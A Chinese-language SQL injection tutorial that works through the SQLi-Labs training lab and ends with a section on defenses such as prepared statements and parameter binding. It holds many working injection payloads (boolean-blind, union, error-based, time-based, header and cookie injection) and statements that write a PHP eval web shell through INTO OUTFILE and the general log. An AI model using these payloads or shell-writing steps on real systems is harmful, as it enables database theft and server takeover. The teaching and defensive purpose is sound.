SQL注入原理
产生SQL注入的原因是Web应用程序没有对用户的输入的合法性做验证和过滤,从而导致用户输入的数据可以插入到后台SQL语句中,攻击者可以通过输入不同的数据来构造SQL语句实现对后台SQL数据库的操作
易出现SQL注入的功能点
凡是用户输入的数据与数据库有交互的地方
例如:用户登入页面,新闻页面,订单处理页面,数据包中的user-agent,client-ip, x-forward-for,referer cookie, 日志等
SQL注入漏洞的利用
查询数据,读写文件,执行命令
对大多数数据库而言,SQL注入的原理基本相似,因为每个数据库都遵循一个SQL语法标准。但它们之间也存在许多细微的差异,包括语法、函数的不同。说以,在针对不同数据库注入时,思路、方法也不可能完全一样
在本篇中的实验环境为Mysql+php5.4.45,靶场为SQLi-Labs
SQL注入分类
在测试注入漏洞之前,首先要弄清一个概念:注入的分类。明白分类之后,再测试注入将起到事半功倍的效果
下面通过一些案例来理解SQL注入原理
SQL注入总的来说可以分为两大类,分别为数字型注入和字符型注入
数字型注入
当输入的参数为数字型
下面通过Less-2来举例说明:
首先审计一波源码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
可以看到,通过GET方式获取id参数
然后直接使用id插入到SQL语句中,如过SQL语句有错误,就会报错
测试步骤如下
先使id=1此时页面返回正常
然后直接id加单引号,id=1’ 此时SQL语句为
$sql="SELECT * FROM users WHERE id=$id' LIMIT 0,1";
这样的SQL语句肯定会报错,导致脚本程序无法从数据库中获取数据,从而使页面出现异常
这时我们再构造id=1 and 1=1
$sql="SELECT * FROM users WHERE id=$id and 1=1 LIMIT 0,1";
因为 1=1 永远为真,所以页面显示正常,返回数据与原始请求无差别
再次构造id=1 and 1=2
$sql="SELECT * FROM users WHERE id=$id and 1=2 LIMIT 0,1";
可以看到此时页面没有报错,语句执行正常,但是却无法查询出数据,因为1=2 始终为假,返回的数据与原始请求存在差异
如果以下三个步骤全部满足,则程序就可能存在SQL注入漏洞
这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,?id=1 PHP会自动推导变量id的数据类型为int型,?id=1 and 1=1 则会推导为string型,而对于Java这类强类型语言则会抛出异常,所以,强类型的语言很少存在数字型注入漏洞
字符型注入
当输入的参数为字符串时,称为字符型。数字型和字符型注入最大的区别在于,数字型不需要闭合,而字符型需要闭合,字符型注入的关键是如何闭合SQL语句以及注释多余的代码
常见的闭合符号为 ’ " ) ') ") ))
各种数据库的注释和连接符不同
mysql连接符为空格 mysql注释符有#、-- (后面有空格)(也就是–+)、/**/
下面通过Less-1来举例说明:
审计一波源码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
可以看到,通过GET方式获取id参数
并且用单引号闭合使他当成一个字符来处理
这时我们如果还是按数字型来构造id=1 and 1=1 则无法进行注入。因为’1 and 1=1’会被数据库当作查询的字符串
$sql="SELECT * FROM users WHERE id='$id and 1=1' LIMIT 0,1";
这时想要进行SQL注入时,必须注意闭合单引号以及多余代码
构造id=1 ’ and 1=1 --+
此时SQL执行的语句为:
$sql="SELECT * FROM users WHERE id='$id' and 1=1 --+' LIMIT 0,1";
页面显示正常
构造id=1 ’ and 1=2 --+
页面显示错误,存在SQL注入,接下来就可以构造不同的payload来获取数据
获取数据的方式
在获取数据之前,要求我们要有一定的SQL基础,在这里就不详细介绍,
SQL语句的学习网站https://www.w3school.com.cn/sql/index.asp
注意不同的数据库语法可能会有差异
MySQL常用的系统函数
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
MySQL5.0及其以上版本提供了 INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息数据库,它提供了访问数据库元数据的方式。
information_schema.tables存储了数据表的元数据信息,
table_schema: 记录数据库名;
table_name: 记录数据表名;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节);
下面将讲解如何从中读取数据库信息、表信息、字段信息、数据,着重举布尔盲注的例子来获取数据库的数据,其他盲注只讲解如何进入注入,获取数据的SQL语句在这里不重点介绍
布尔盲注
在上面介绍数字型注入和字符型注入已经用到了布尔盲注,即通过页面返回的正常与否来判断SQL语句是否正确,我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想
判断数据库类型
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' and exists(select *from information_schema.tables) --+
当页面返回正常时,就可以判断当前数据库类型为mysql,这是因为information_schema.tables是mysql特有的表
其他数据库也有其特有的表,于是我们就可以通过判断特有的表来判断数据库类型,在这就不在介绍。
判断当前数据库名称
使用二分法判断当前数据库长度
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' and length(database())>5 --+ //页面正常说明长度大于5
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' and length(database())>10 --+ //页面错误
使用二分法逐个判断数据库名称
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' and ascii(substr(database(),1,1))>100 --+ //判断当前数据库第一个字符
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' and ascii(substr(database(),2,1))>100 --+ //判断当前数据库第二个字符
由此可以判断出当前数据库为 security
判断当前数据库中的表
用二分法判断当前数据库中的表的个数
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 --+
用二分法判断第一个表的长度
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+
用二分法逐个判断第一个表的字符的ascii值
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
由此可判断出存在当前数据库中存在的表
我们知道了当前数据库存在表 users、emails、referers、uagents、
判断表中的字段
用二分法判断当前表中的字段的个数
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 --+
用二分法判断表中第一个字段的长度
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
用二分法逐个判断第一个字段的字符的ascii值
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
由此可以判断出当前表中的存在的字段
我们知道了users中有三个字段 id 、username 、password
判断字段中的数据
用二分法判断数据的长度
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and length((select id from users limit 0,1))>5 --+
用二分法逐个判断数据的字符的ascii值
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100--+
由此可以判断出当前字段中的数据
union注入
union注入适用于有显示列的注入。文件写入只能通过union注入
判断表的列数
我们可以通过order by来判断当前表的列数。一样用二分法
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' order by 5 --+ //页面显示错误
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' order by 3 --+ //页面显示正确
最后可得知,当前表有3列
union注入的利用
在得知列数后,我们可以通过 union 联合查询来知道显示的列数
union关键字将两个或多个查询结果组合为一个结果集,大部分数据库都支持union查询 下面列出两个查询结果集的基本规则
- 所有查询中的列数必须相同
- 数据类型必须兼容
使用如下payload
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3--+
后台SQL执行语句为
$sql="SELECT * FROM users WHERE id='1' and 1=2 union select 1,2,3 --+
' LIMIT 0,1";
注意我们使用联合查询的时候要用and 1=2 来否定掉前面的条件
可以看到union查询结果出来了,显示了第2列和第3列
现在我们可以在第二列和第三列来构造一些语句来获取数据库信息了
这里直接使用hack bar自动生成的payload
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ' and 1=2 union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
可以看到成功获取用户名,当前数据库,数据库版本的信息
报错注入
利用SQL错误提取消息
不同数据库特性不同,MySQL不能直接转换报错,但是能利用MySQL中的一些特性提取错误消息
通过updatexml函数,执行SQL语句
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and updatexml(1,(concat(0x7c,(select @@version))),1)--+
通过extractvalue函数,执行SQL语句
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat(0x7c,(select user())))--+
通过floor函数,执行SQL语句
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' union select * from ( select count(*),concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b --+
延时注入
延时注入原理及判断
延时注入是一种基于时间差异的注入技术,下面以MySQL为例讲解延时注入
在MySQL中有一个函数sleep()这个函数是用处是在给定的秒数后运行语句
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and sleep(3) --+
SQL语句为
$sql="SELECT * FROM users WHERE id='$1' and sleep(3) --+' LIMIT 0,1";//3秒钟后执行SQL语句
通过页面返回的时间可以断定,DBMS执行了and sleep(3)语句,这样一来,就可以判断出存在SQL注入漏洞
延时注入的利用
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and if(length(user())=3,sleep(5),1) --+
如果出现5秒延时,就可以判断出user字符串长度,一样采用二分法来判断
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and if(hex(mid(user(),1,1))=1,sleep(3),1) --+
取出user字符串第一个字符,然后与ASCII码对比
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and if(length(user())=3,sleep(5),1) --+
同理,可以读取表,列,文件
其他常见注入点
POST注入
上面介绍的全是GET请求方式的注入,这里介绍一下POST方式的注入
Less15
可以看到界面有一个登录框
构造payload
uname=1' and 1=1 --+&passwd=1&submit=Submit
可以看到页面显示正常
再构造payload
uname=1' and 1=2 --+&passwd=1&submit=Submit
可以看到页面与之前不同
成功注入
User-Agent注入
注入点在数据包的User-Agent字段(User-Agent 里面的保存的是客户机浏览器的指纹信息)
进入Less18可以看到有一个登录框,有IP信息
使用admin admin登入成功后多出了一个User-Agent信息
直接抓包修改User-Agent字段
构造如下payload
User-Agent: ' and updatexml(1,(concat(0x7c,(select @@version))),1) and '1'='1
可以看到成功显示出数据库的版本
Referer注入
注入点在数据包的Referer字段(Referer 是告诉服务器该网页是从哪个页面链接过来的)
Less19
登入成功后可以看到页面显示Referer信息
直接抓包修改Referer字段
构造如下payload
Referer: ' and updatexml(1,(concat(0x7c,(select @@version))),1) and '1'='1
可以看到成功显示出数据库的版本
Cookie注入
注入点在数据包的Cookie字段
Cookie 是一些数据, 存储于你电脑上的文本文件中。
当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。
Cookie 的作用就是用于解决 “如何记录客户端的用户信息”:
当用户访问 web 页面时,他的名字可以记录在 cookie 中。
在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录。
Less20
登入成功后可以看到页面显示Cookie信息
直接抓包修改Cookie字段
构造如下payload
Cookie: unmae=' and updatexml(1,(concat(0x7c,(select @@version))),1) and '1'='1
可以看到成功显示出数据库的版本
其他注入姿势
待补充
堆叠注入
日志注入
二次注入
base64注入
less21
关键代码如下
setcookie('uname', base64_encode($row1['username']), time()+3600);
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
可以看到对cookie进行了base64解密并没有进行其他过滤
于是可以构造已经base64加密后的数据进行注入
') union select 1,2,version()# 加密后
JykgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCkj
可以看到注入成功
宽字节注入
MySQL长字符截断
MYSQL写shell
通过outfile写入shell
利用条件:
1、root权限
2、网站的绝对路径且具有写入权限
执行如下语句写入shell:
select ‘<?php @eval($_POST[1]);?>’ into outfile ‘E:/phpStudy2018/PHPTutorial/WWW/shell.php’;
将shell写入表中
1、root权限
2、网站的绝对路径且具有写入权限
执行如下语句写入shell:
将shell插入一个表中insert into sxss
(comment
) values (’<?php @eval($_POST[1]);?>’);查询该数据表,将结果导出文件select comment from sxss into outfile ‘E:/phpStudy2018/PHPTutorial/WWW/shell.php’;
开启全局日志写入shell
利用条件:
1、root权限
2、网站的绝对路径且具有写入权限
执行如下语句写入shell:
查看全局日志配置show variables like ‘%general%’;开启全局配置set global general_log = on;将日志文件设置成服务器下的木马文件set global general_log_file = ‘E:/phpStudy2018/PHPTutorial/WWW/shell.php’;然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中select ‘<?php @eval($_POST[1]);?>’;
防止SQL注入
严格的数据类型
Java、C#等强类型语言几乎可以完全忽略数字型注入,例如:请求ID为1的新闻,其url:http://www.hacksql.com/new.jsp?id=1 其程序代码可能为:
int id =Integer.parseInt(request.getParameter("id")); //强制转换为int型
攻击者想在此代码进行注入是不可能的,因为程序在接收ID参数后,做了一次数据类型强制转换,如果ID参数接收的数据是字符串,那么在转换的时候将会发生Exception。由此可见,数据类型处理正确后,足以抵抗数字型注入
想PHP、JSP,并没有强制要求处理数据类型,这类语言会根据参数自动推导出数据类型,假设ID=1,则推导ID的数据类型为Integer、ID=str,则推导ID的数据类型为string,这一特点在弱类型语言是相当不安全的 ,如
$id = $_GET['id'];
$sql = "select * from news where id = $id";
$news =exec($sql);
攻击者可能把id参数变为 1 and 1=2 union select username,password from users;–,这里并没有对$id变量转换数据类型,php自动把变量推导为string类型,带入数据库查询,造成SQL注入漏洞
防御数字型注入来说想对简单,只需要在程序严格判断数据类型即可。如:使用is_numeric(),ctype_digit(),等函数来判断数据类型
特殊字符转义及过滤
通过强制类型转换可以解决数字型的SQL注入,但是字符型不能,因为它们都是String类型,你无法判断输入是否是恶意感觉,那最好的办法技术对特殊字符进行转义,因为在数据库查询字符串时,任何字符串都必须加上单引号。既然知道攻击者在字符型注入时必然会加入单引号等特殊字符,那么将这些特殊字符转义即可防御字符型SQL注入
防止SQL注入应该在程序中判断字符串是否存在敏感字符,如果存在,则根据对应的数据库进行转义。如:MySQL使用" \ "进行转义
常见转义和需要过滤字符有
' " # --+ union select and 1=1 or sleep() 等
使用预编译语句
Java、C#等语言都提供了预编译语句,下面以Java语言为例
在Java中,提供了三个接口与数据库交互,分别是Statement、PreparedStatement、CallableStatment
Statement用于执行静态SQL语句,并返回它所生成结果的对象。PreparedStatement为Statement的子类,表示预编译SQL语句的对象CallableStatment为PreparedStatement的子类,用于执行SQL存储过程
PreparedStatement接口是高效的,预编译语句在创建的时候已经将指定的SQL语句发送给DBMS,完成了解析、检查、编译等工作,我们需要做的仅仅是将变量传给SQL语句而已。而且最重要的是安全性,预编译技术可以有效的防御SQL注入
例如有个URL对id查询
int id =Integer.parseInt(request.getParameter("id"));
String sql ="select id, username, password from users where id=?";
PreparedStatement ps = this.conn.preparedStatement(sql); //使用预编译接口
ps.setInt(1,id);
ResultSet res = ps.executeQuery();
Users user = new Users();
if(res.next()){
//封装User对象属性
}
在使用PreparedStatement接口时应该注意,虽然PreparedStatement是安全的,但如果使用动态拼接SQL语句,那就失去了它的安全性
String id =request.getParameter("id");
String sql ="select id, username, password from users where id= " +id;
PreparedStatement ps = this.conn.preparedStatement(sql); //使用预编译接口
ResultSet res = ps.executeQuery();
上面代码虽然使用了PreparedStatement接口,但同样存在SQL注入,想要使PreparedStatement防御SQL注入,必须使用它提供的setter方法(setShort、setString等)
框架技术
随着技术的发展,越来越多的框架渐渐出现,Java、C#、PHP等语言都有自己的框架,至今,这些框架技术越来与成熟、强大、而且具有较高的安全性。
在众多框架中,有一类框架专门与数据库打交道,被称为持久化框架,比较有代表的有Hibernate、MyBatis、JORM等
Hibernate自定义了一种叫做HQL的语言,是一种面向对象的查询语言。使用此语言使,千万不要使用动态拼接的方式组成SQL语句,否则可能会造成HQL注入,例如
String id =request.getParameter("id");
Session session = HibernateSessionFactory.getSession();
String hql = "from Student stu where stu.studentNo= "+id;
Query query = session.createQuery(hql);
List <Student> list = query.list();
在正常查看用户时,攻击者可能会把id参数改为id=1 or 1=1,最终执行结果为 from Student stu where stu.studentNo=1 or 1=1 查询时将会暴露此表的所有数据
在使用Hibernate时,应该避免出现字符串动态拼接的方式,最好使用参数名称或者位置绑定的方式,如同PreparedStatement接口
1.代码位置绑定
int id =Integer.parseInt(request.getParameter("id"));
Session session = HibernateSessionFactory.getSession();
String hql = "from Student stu where stu.studentNo= ?";
Query query = session.createQuery(hql);//生成Query对象
query.setParameter(0,id); //封装参数
List <Student> list = query.list();//查询
- 使用参数绑定
int id =Integer.parseInt(request.getParameter("id"));
Session session = HibernateSessionFactory.getSession();
String hql = "from Student stu where stu.studentNo= :id";
Query query = session.createQuery(hql);//生成Query对象
query.setParameter("id",id);//封装参数
List <Student> list = query.list();//查询
存储过程
存储过程是在大型数据库系统中,一组为了完成特定功能或经常使用SQL语句集,经编译后存储在数据库中。存储过程具有较高的安全性,可以防止SQL注入,但若编写不当,仍然有SQL注入的风险 例如
create proc findUserId @id varchar(100)
as
exec('select * from Student whereNo =' +@id);
go
findUserId虽然是存储过程,但却不是安全的存储工程,它使用了exec()函数执行SQL语句,这和直接书写select * from Student whereNo =id 没有任何区别。传入参数 3 or 1=1 将查询出全部数据,照成SQL注入漏洞
改进代码如下
create proc findUserId @id varchar(100)
as
select * from Student whereNo =@id;
go
参数 3 or 1=1,SQL执行器抛出错误
这证明了存储过程确实有SQL注入的可能。此处一定要注意,使用存储过程应该与preparedStatement接口一样,不要使用动态SQL语句拼接,否则依然可能造成SQL注入